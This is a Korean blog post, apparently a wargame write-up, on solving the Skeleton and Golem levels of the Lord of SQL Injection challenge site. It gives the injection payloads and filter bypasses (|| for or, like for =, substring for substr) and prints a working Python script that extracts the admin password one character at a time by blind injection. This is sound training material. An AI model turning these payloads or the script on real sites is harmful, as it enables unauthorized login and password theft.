본문 바로가기
WarGames/SQL Injection

Lord of SQL Injection : Skeleton[10] ~ Golem[11]

by madevth 2021. 12. 1.
반응형

[Level 10. Skeleton] Sol → ?pw=' or id = 'admin' %23

id가 admin이어야 단계를 Clear 할 수 있다.

where 절은 and 조건으로 이어져있는데 하나가 이미 거짓이다.

그래서 참을 만들어주기 위해 or로 id = 'admin'을 넣고 #으로 뒤에 거짓 조건은 무시하게 만들었다.

쉽게 Clear 할 수 있었다.

 

 

[Level 11. Golem] Sol → ?pw=77d6290b

id admin의 패스워드를 맞추어야 하는데, or / and  / substr(Blind SQL)을 모두 사용하지 못한다.

근데 이 문제도 7, 8단계와 마찬가지로 or는 ||, and는 &&, substring은 SUBSTRING를 사용해서 자동화 툴을 돌려주었다.

그런데 이 문제에서는 등호(=)도 사용하지 못한다. 찾아보니 등호는 like로 대체할 수 있었다.

 

?pw=' || id like 'admin' %26%26 length(pw) > 1 %23 으로 쳐주니 참 거짓을 잘 확인할 수 있었다.

추가로 길이를 알아낸 후에는 substring을 사용하여 비밀번호를 한 글자씩 알아내야 하는데, 문제에서 필터링하고 있는 것은 substr( 이라서 substring을 사용하면 필터링에 걸리지 않는다.

 

이제 자동화 툴을 돌려서 비밀번호 길이와 비밀번호를 알아내 보자.

import requests

url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
cookie = {'PHPSESSID': 'cookies'}

def find_length():
    pwlength = 1

    while True:
        param = {"pw": "' || id like 'admin' && length(pw) like {} #".format(pwlength)}
        req = requests.get(url, params = param, cookies = cookie)
        if "Hello admin" in req.text:
            return pwlength
        else:
            pwlength += 1

def find_pw():
    length = find_length()
    print("비밀번호 길이: ", length)
    password = ""
    for i in range(length):
        s = 1
        e = 127
        value = 64
        while True:
            param = {"pw": "' || id like 'admin' && ascii(substring(pw, {}, 1)) like {} #".format(i+1, value)}
            print(param)
            req = requests.get(url, params = param, cookies = cookie)
            if "Hello admin" in req.text:
                password += chr(value)
                break
            else:
                param = {"pw": "' || id like 'admin' && ascii(substring(pw, {}, 1)) > {} #".format(i+1, value)}
                req = requests.get(url, params = param, cookies = cookie)
                if "Hello admin" in req.text:
                    s = value
                    value = (value + e) // 2
                else:
                    e = value
                    value = (s + value) // 2
    print("비밀번호는: ", password)

find_pw()

...

비밀번호를 잘 알아냈다.

반응형

댓글